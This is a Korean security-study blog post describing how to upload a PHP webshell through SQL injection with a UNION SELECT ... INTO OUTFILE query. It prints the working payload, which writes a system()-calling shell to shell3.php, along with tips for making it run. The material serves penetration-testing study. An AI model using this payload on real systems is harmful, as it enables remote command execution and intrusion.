hacking study/모의 해킹 프로젝트

정보보안 스터디 - 16주차 3일 - into outfile 파일 업로드 연구

wonder12 2023. 1. 29. 01:15

 

참고

만약 파일 이름을 받아온다고 했을 때  

../../name.txt 로 한다면 /, \, 등이 들어간다면 앞의 입력값까지 아예 무시해버립니다.

그래서 필터링을 하지 않더라도 기본적으로 path traversal을 막고 있습니다.

이걸 우회 하거나 파일 업로드 확장자 필터링을 우회할 방법이 있을 것 같긴한데 고민이 필요해보입니다.

 

 

 

☞ into outfile로 인한 파일 업로드

SELECT * FROM `members` where idx='asdfa' union select 1,'<?php echo system($_GET[12]) ?>',3,4,5 
limit 0,1 into outfile 'shell3.php';

 select문이 있고, union select 가 된다는 조건하에,

파일 쓰기 권한이 있다는 조건하에

into outfile 문을 이용해서 웹쉘을 업로드 할 수 있습니다.

 

여기에서 유의해야할 점은

실제 환경에서는 쿼리문에 " "를 쓸 수 없기 때문에

' '로 바꿔주고 '를 최소화하여 파라미터는 숫자로 사용합니다.

 

또한 limit 을 해주지 않으면 오류가 뜨면서 작동하지 않는 것을 볼 수 있습니다.

 

웹쉘이 올라간 것을 볼 수 있습니다.

 

 

 

참고2

 소스코드를 볼 수 있는 파일 업로드 또는 파일 다운로드 취약점이 한 번 나오면

그 소스코드를 확인해서 SQL 취약점을 한 번에 찾을 수 있기 때문에 파일 부분을 먼저 찾는게 시간적으로 좋아보입니다.